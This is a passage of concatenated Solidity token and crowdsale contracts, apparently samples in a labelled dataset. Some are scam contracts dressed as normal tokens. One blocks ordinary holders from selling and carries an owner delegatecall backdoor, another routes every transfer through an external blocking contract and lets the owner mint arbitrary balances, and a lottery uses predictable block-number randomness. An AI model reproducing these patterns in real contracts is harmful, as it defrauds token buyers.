tokenAmount = weiAmount.div(rate);
return tokenAmount;
}
else if(weiRaised > 150 ether && weiRaised <= 200 ether){
rate = 20e14;
tokenAmount = weiAmount.div(rate);
return tokenAmount;
}
else if(weiRaised > 200 ether && weiRaised <= 250 ether){
rate = 25e14;
tokenAmount = weiAmount.div(rate);
return tokenAmount;
}
else if(weiRaised > 250){
rate = 30e14;
tokenAmount = weiAmount.div(rate);
return tokenAmount;
}
}
function updateWinnersList() internal returns(bool) {
if(topWinners[0] != msg.sender){
bool flag=false;
for(uint256 i = 0; i < 10; i++){
if(topWinners[i] == msg.sender){
break;
}
if(contributionOf[msg.sender] > contributionOf[topWinners[i]]){
flag=true;
break;
}
}
if(flag == true){
for(uint256 j = 10; j > i; j--){
if(topWinners[j-1] != msg.sender){
topWinners[j]=topWinners[j-1];
}
else{
for(uint256 k = j; k < 10; k++){
topWinners[k]=topWinners[k+1];
}
}
}
topWinners[i]=msg.sender;
}
return true;
}
}
function hasEnded() public view returns (bool) {
return (now > endTime) ;
}
function findWinners() public onlyOwner {
require(now >= endTime);
uint256 len=contributors.length;
uint256 mulFactor=50;
for(uint256 num = 0; num < 10 && num < len; num++){
amountWon[topWinners[num]]=(weiRaised.div(1000)).mul(mulFactor);
mulFactor=mulFactor.sub(5);
}
topWinners.length--;
if(len > 10 && len <= 20 ){
for(num = 0 ; num < 20 && num < len; num++){
if(amountWon[contributors[num]] <= 0){
randomWinners.push(contributors[num]);
amountWon[contributors[num]]=(weiRaised.div(1000)).mul(3);
}
}
}
else if(len > 20){
for(uint256 i = 0 ; i < 10; i++){
uint256 randomNo=random(i+1) % len;
if(amountWon[contributors[randomNo]] <= 0){
randomWinners.push(contributors[randomNo]);
amountWon[contributors[randomNo]]=(weiRaised.div(1000)).mul(3);
}
else{
for(uint256 j = 0; j < len; j++){
randomNo=(randomNo.add(1)) % len;
if(amountWon[contributors[randomNo]] <= 0){
randomWinners.push(contributors[randomNo]);
amountWon[contributors[randomNo]]=(weiRaised.div(1000)).mul(3);
break;
}
}
}
}
}
}
function random(uint256 count) internal constant returns (uint256) {
uint256 rand = block.number.mul(count);
return rand;
}
function stop() public onlyOwner {
endTime = now ;
}
function ownerWithdrawal(uint256 amt) public onlyOwner {
require((amt.add(ownerWithdrawn)) <= (weiRaised.div(100)).mul(70));
if (owner.send(amt)) {
ownerWithdrawn=ownerWithdrawn.add(amt);
FundTransfer(owner, amt);
}
}
function KYCApprove(address[] contributorsList) public onlyOwner {
for (uint256 i = 0; i < contributorsList.length; i++) {
address addr=contributorsList[i];
KYCDone[addr]=true;
KYCApproved(addr);
token.release(addr);
}
}
function winnerWithdrawal() public {
require(now >= endTime);
require(amountWon[msg.sender] > 0);
require(KYCDone[msg.sender]);
require(!claimed[msg.sender]);
if (msg.sender.send(amountWon[msg.sender])) {
claimed[msg.sender]=true;
FundTransfer(msg.sender,amountWon[msg.sender] );
}
}
function tokensAvailable()public view returns (uint256) {
return token.balanceOf(this);
}
function showTopWinners() public view returns (address[]) {
require(now >= endTime);
return (topWinners);
}
function showRandomWinners() public view returns (address[]) {
require(now >= endTime);
return (randomWinners);
}
function destroy() public onlyOwner {
require(now >= endTime);
uint256 balance= this.balance;
owner.transfer(balance);
FundTransfer(owner, balance);
uint256 balanceToken = tokensAvailable();
token.transfer(owner, balanceToken);
selfdestruct(owner);
}
} | 1 | 2,884 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FlokiDick {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,340 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract TechToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 1000000000000000000000000000;
string public name = "Cryptomeda";
string public symbol = "TECH";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toWho.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toWho));
for(uint i = 0; i < _toWho.length; i++) {
balanceOf[_toWho[i]] = _amounts[i];
emit Transfer(address(0x0), _toWho[i], _amounts[i]);
}
}
} | 0 | 374 |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
contract BOOM is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _BOOMTokenBalances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "BOOM";
string constant tokenSymbol = "BOOM";
uint8 constant tokenDecimals = 8;
uint256 _totalSupply = 99999900000000;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _BOOMTokenBalances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _BOOMTokenBalances[msg.sender]);
require(to != address(0));
uint256 BOOMTokenDecay = value.div(50);
uint256 tokensToTransfer = value.sub(BOOMTokenDecay);
_BOOMTokenBalances[msg.sender] = _BOOMTokenBalances[msg.sender].sub(value);
_BOOMTokenBalances[to] = _BOOMTokenBalances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(BOOMTokenDecay);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), BOOMTokenDecay);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _BOOMTokenBalances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_BOOMTokenBalances[from] = _BOOMTokenBalances[from].sub(value);
uint256 BOOMTokenDecay = value.div(50);
uint256 tokensToTransfer = value.sub(BOOMTokenDecay);
_BOOMTokenBalances[to] = _BOOMTokenBalances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(BOOMTokenDecay);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), BOOMTokenDecay);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_BOOMTokenBalances[account] = _BOOMTokenBalances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _BOOMTokenBalances[account]);
_totalSupply = _totalSupply.sub(amount);
_BOOMTokenBalances[account] = _BOOMTokenBalances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | 1 | 4,024 |
pragma solidity 0.5.8;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface ERC20Interface {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function mint(address to, uint256 value) external returns (bool);
function burn(address from, uint256 value) external returns (bool);
}
contract ERC20Base is ERC20Interface, ERC20, MinterRole {
string public name;
string public symbol;
uint8 public decimals = 18;
constructor(string memory _name, string memory _symbol) public {
name = _name;
symbol = _symbol;
}
function transferAndCall(address to, uint256 value, bytes4 sig, bytes memory data)
public
returns (bool)
{
_transfer(msg.sender, to, value);
(bool success,) = to.call(abi.encodePacked(sig, uint256(msg.sender), value, data));
require(success);
return true;
}
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function burn(address from, uint256 value) public onlyMinter returns (bool) {
_burn(from, value);
return true;
}
}
contract BandToken is ERC20Base("BandToken", "BAND") {} | 0 | 2,381 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
function setSaleAgent(address newSaleAgent) public onlyOwner {
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public onlySaleAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
